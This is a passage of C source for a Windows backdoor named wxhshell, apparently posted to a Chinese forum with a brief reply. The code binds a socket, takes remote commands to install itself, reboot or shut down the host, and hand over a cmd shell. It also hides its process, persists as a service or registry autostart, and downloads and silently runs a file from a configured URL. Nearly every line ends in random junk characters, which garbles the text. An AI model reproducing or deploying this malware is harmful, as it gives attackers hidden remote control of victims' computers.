  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <MBpV^Y}  
  } s8 0$   
  else { q*4=sf,>  
1$ C\ `  
    switch(cmd[0]) { \B~}s}  
  Qc]Ki3ls  
  // 帮助 6` @4i'.  
  case '?': { %oE3q>S$en  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S+&Bf ~~D  
    break; "_T8Km008  
  } DF!*S{)  
  // 安装 0_faJjTbP;  
  case 'i': { V0!$k.Wk  
    if(Install()) $4a;R I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DNl '}K1W  
    else o& "nF+,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aoVfvz2Y  
    break; W #kOcw  
    } JQ)w/@Vu=  
  // 卸载 ;4ETqi9  
  case 'r': { m<uBRI*I  
    if(Uninstall()) "WE*ED  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v46 5Z  
    else [ GqQ6\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iSg^np  
    break; ^9*kZV<K  
    } Pwg?a  
  // 显示 wxhshell 所在路径 0B?t:XU,  
  case 'p': { TmIw?#q^  
    char svExeFile[MAX_PATH]; Zw<\^1  
    strcpy(svExeFile,"\n\r"); 05gdVa,  
      strcat(svExeFile,ExeFile); 1iTI8h&[@  
        send(wsh,svExeFile,strlen(svExeFile),0); { vOr'j@  
    break; SV0h'd(b  
    } B78e*nNS#2  
  // 重启 _)? 59  
  case 'b': { ,4tuWO)"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Ld,<!eN0  
    if(Boot(REBOOT)) 0<C]9[l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /f0*NNSat-  
    else { ~dc~<hK  
    closesocket(wsh); W2F*+M  
    ExitThread(0); #XPY\n^k  
    } 7dbGUbT  
    break; ?(d<n   
    } (6#, $Ze   
  // 关机 YZyV   
  case 'd': { -\V!f6Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,`O.0e4pn  
    if(Boot(SHUTDOWN)) QpZ CU]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dF<GuS;l5  
    else { -- chU5  
    closesocket(wsh); +1o4l i  
    ExitThread(0); T>2_r6;  
    } `8sC>)lrwu  
    break; 2j <Y>Y  
    } n3Q Rn^  
  // 获取shell LW '3m5  
  case 's': { $zUHka   
    CmdShell(wsh); Yg kd1uI.  
    closesocket(wsh); l" P3lKS  
    ExitThread(0); -L&%,%  
    break; (AI 4a+  
  } g`9`/  
  // 退出 ev"f@y9Do  
  case 'x': { Z_.xglq{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L.tW]43K  
    CloseIt(wsh); fS#I?!*}  
    break; 6( 0ME$  
    } j|Hyv{sM  
  // 离开 $4ZjNN@  
  case 'q': { e"O c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z]\VOA>  
    closesocket(wsh); !xxdC  
    WSACleanup(); ]oIP;J:&  
    exit(1); _(%;O:i  
    break; me@xl }  
        } sm?V%NX&  
  } WAqH*LB  
  } 0Mu6R=s  
,\Uc/w R  
  // 提示信息 ziTE*rNJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [.j&~\AG  
} )j/b `V6  
  } DO{Lj# @  
>Xv Fg  
  return; `ZhS=ezgr  
} aF]cEe  
k(23Zt]  
// shell模块句柄 UOYhz.  
int CmdShell(SOCKET sock) V krjs0  
{ gHmy?+)  
STARTUPINFO si; (29BS(|!  
ZeroMemory(&si,sizeof(si)); 6[~_;0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d;FOmo4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; { d|lN:B  
PROCESS_INFORMATION ProcessInfo; W|-<ekH_u  
char cmdline[]="cmd"; p%ZOLoc)Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RHv|ijYy  
  return 0; DT#F?@LG(  
} m:x<maP# E  
mP[ZlS~"  
// 自身启动模式 /JbO$A  
int StartFromService(void) '?)<e^  
{ :F`-<x/  
typedef struct c>.=;'2  
{ `m+o^!SGe  
  DWORD ExitStatus; P?/Mrz   
  DWORD PebBaseAddress; TK s l.|  
  DWORD AffinityMask; oj%(@6L  
  DWORD BasePriority; (F=q/lK$  
  ULONG UniqueProcessId; *pj^d><  
  ULONG InheritedFromUniqueProcessId; (JdZl2A.  
}   PROCESS_BASIC_INFORMATION; w gU2q|  
=GJ)4os  
PROCNTQSIP NtQueryInformationProcess; ~b;u1;ne  
w e}G%09L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'gv ~M_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; caD)'FSES  
!&#5 *  
  HANDLE             hProcess; *wp>a?sG\  
  PROCESS_BASIC_INFORMATION pbi; N4rDe]JnPR  
D7|qFx;]g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zt/4|&w  
  if(NULL == hInst ) return 0; }=$>w@mJ  
v4Mn@e_#c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ESi'3mbeC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b`& :`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gc*p%2c  
dh K<5E  
  if (!NtQueryInformationProcess) return 0; P={8qln,X  
ul^VGW>i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T0v{qQ  
  if(!hProcess) return 0; KvY1bMU!  
&e)V!o@wJV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ' o(7@   
bvF-F$n%F  
  CloseHandle(hProcess); y#v<V1b]  
E'+?7ZGWj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I4(z'C  
if(hProcess==NULL) return 0; s_#6^_  
^{g('BQx  
HMODULE hMod; 1+v!)Y>Z&  
char procName[255]; T )!k J;vc  
unsigned long cbNeeded; JIU8~D  
9CPr/q9'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k] iyx  
_"h1#E  
  CloseHandle(hProcess); jg\FD51$  
dM)x|b3z  
if(strstr(procName,"services")) return 1; // 以服务启动 VI k]`)#  
&F~97F)A)  
  return 0; // 注册表启动 LO@o`JF  
} Wxa</n8S[n  
H:]'r5sw  
// 主模块 Wa<SYJ  
int StartWxhshell(LPSTR lpCmdLine) 9}$'q$0R]  
{ H8V@KB  
  SOCKET wsl; ~nRbb;M  
BOOL val=TRUE; J936o3F_  
  int port=0; g=e~YM85  
  struct sockaddr_in door; khVfc  
%*];XpAE  
  if(wscfg.ws_autoins) Install(); @n^2UJ  
Xk`'m[  
port=atoi(lpCmdLine); ~S~4pK  
(y5 ]]l  
if(port<=0) port=wscfg.ws_port; v~:'t\n  
:&J1#% t  
  WSADATA data; -+fW/Uo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,m[#<}xXA  
0aa&13!5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }ws(:I^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b8&z~'ieR  
  door.sin_family = AF_INET; kE854Ej  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :aR_f`KMm  
  door.sin_port = htons(port); u?SxaGEa  
6r)B|~,OA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nG~^-c+  
closesocket(wsl); p%-;hL!  
return 1; +[7 DRT:  
} K>_~|ZN1C8  
+Uxt xl'  
  if(listen(wsl,2) == INVALID_SOCKET) { IHwoG(A~<  
closesocket(wsl); q0KGI/5s4+  
return 1; bKQ_{cR  
} BHpj_LB-P  
  Wxhshell(wsl); r#B{j$Rw   
  WSACleanup(); juEH$7N !  
h@@q:I=  
return 0; I[KAW"  
" nLWvV1  
} SI/3Dz[  
E=]$nE]b  
// 以NT服务方式启动 R= .UbY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %afz{a5  
{ )j}v3@EM5  
DWORD   status = 0; -IS$1  
  DWORD   specificError = 0xfffffff; !SThK8j$7  
$|VD+[jSV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /X;! F>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7ZFd;-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +,UuJ6[n  
  serviceStatus.dwWin32ExitCode     = 0;  / !aVv  
  serviceStatus.dwServiceSpecificExitCode = 0; =U}!+ 8f  
  serviceStatus.dwCheckPoint       = 0; ; ! B>b)%  
  serviceStatus.dwWaitHint       = 0; 2#@-t{\3-p  
3j\Py'};  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !RwMUnp  
  if (hServiceStatusHandle==0) return; 3bagL)'iz  
qRCUkw} fs  
status = GetLastError(); YLp#z8 1e  
  if (status!=NO_ERROR) I @ D<rjR  
{ 3XhLn/@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V3$zlzSm,  
    serviceStatus.dwCheckPoint       = 0; ~Gh9m ]b  
    serviceStatus.dwWaitHint       = 0; )JOo|pr-K  
    serviceStatus.dwWin32ExitCode     = status; C,$7fW{?  
    serviceStatus.dwServiceSpecificExitCode = specificError; xG|lmYt76  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gW^0A)5  
    return; OySn[4`(i  
  } e7n` fEpO  
bdj')%@n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * & : J  
  serviceStatus.dwCheckPoint       = 0; W.> }5uVl6  
  serviceStatus.dwWaitHint       = 0; Vo9Fl Yj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8*EqG5OP  
} K<p)-q  
! _?#f|  
// 处理NT服务事件,比如:启动、停止 6t'vzcQs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R]NCD*~  
{ KP CZiu7  
switch(fdwControl) M-A{{q   
{ QURpg/<U  
case SERVICE_CONTROL_STOP: 9j<7KSj  
  serviceStatus.dwWin32ExitCode = 0; RpzW-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6A-nhvDP  
  serviceStatus.dwCheckPoint   = 0; }*VRj;ff  
  serviceStatus.dwWaitHint     = 0; |M|>/U 8  
  { bf/z T0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xbc:Vr  
  } ;M5]XCP k  
  return; P]H4!}M  
case SERVICE_CONTROL_PAUSE: vY]7oX+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b"eG8  
  break; !wIrI/P7#  
case SERVICE_CONTROL_CONTINUE: .F@ 2C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4K$_d,4`U  
  break; R2y~+tko?  
case SERVICE_CONTROL_INTERROGATE: s\.\z[1  
  break; .`^wRpa2M  
}; i*e'eZ;)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a>#]d  
} Z8o8>C\d9/  
8i^d*:R  
// 标准应用程序主函数 .s>.O6(^%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uM2 .?>`X  
{ Q$x 3uH\@  
Nx<fj=VJ  
// 获取操作系统版本 43Ua@KNi  
OsIsNt=GetOsVer(); PDpDkcy|QM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _.5AB E  
 dQI6.$?  
  // 从命令行安装 moE!~IroG  
  if(strpbrk(lpCmdLine,"iI")) Install(); gCaxZ~o  
~y1k2n  
  // 下载执行文件 ?:#$btmn?  
if(wscfg.ws_downexe) { M8|kmF\B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z;cA_}5  
  WinExec(wscfg.ws_filenam,SW_HIDE); RH "EO4  
} /;`-[   
QVe<Z A8N;  
if(!OsIsNt) { d>Ky(wS  
// 如果时win9x,隐藏进程并且设置为注册表启动 B+[L/C}=;  
HideProc(); v8\pOI}c  
StartWxhshell(lpCmdLine); uOb}R   
} Z + )<FX  
else ~/;shs<9EM  
  if(StartFromService()) V(F1i%9lg  
  // 以服务方式启动 TTo5"r9I 8  
  StartServiceCtrlDispatcher(DispatchTable); te&p1F  
else ?e[]UO  
  // 普通方式启动 J:0`*7  
  StartWxhshell(lpCmdLine); U8 n=Ro  
Ns.{$'ll  
return 0; wcW}Sv[r  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五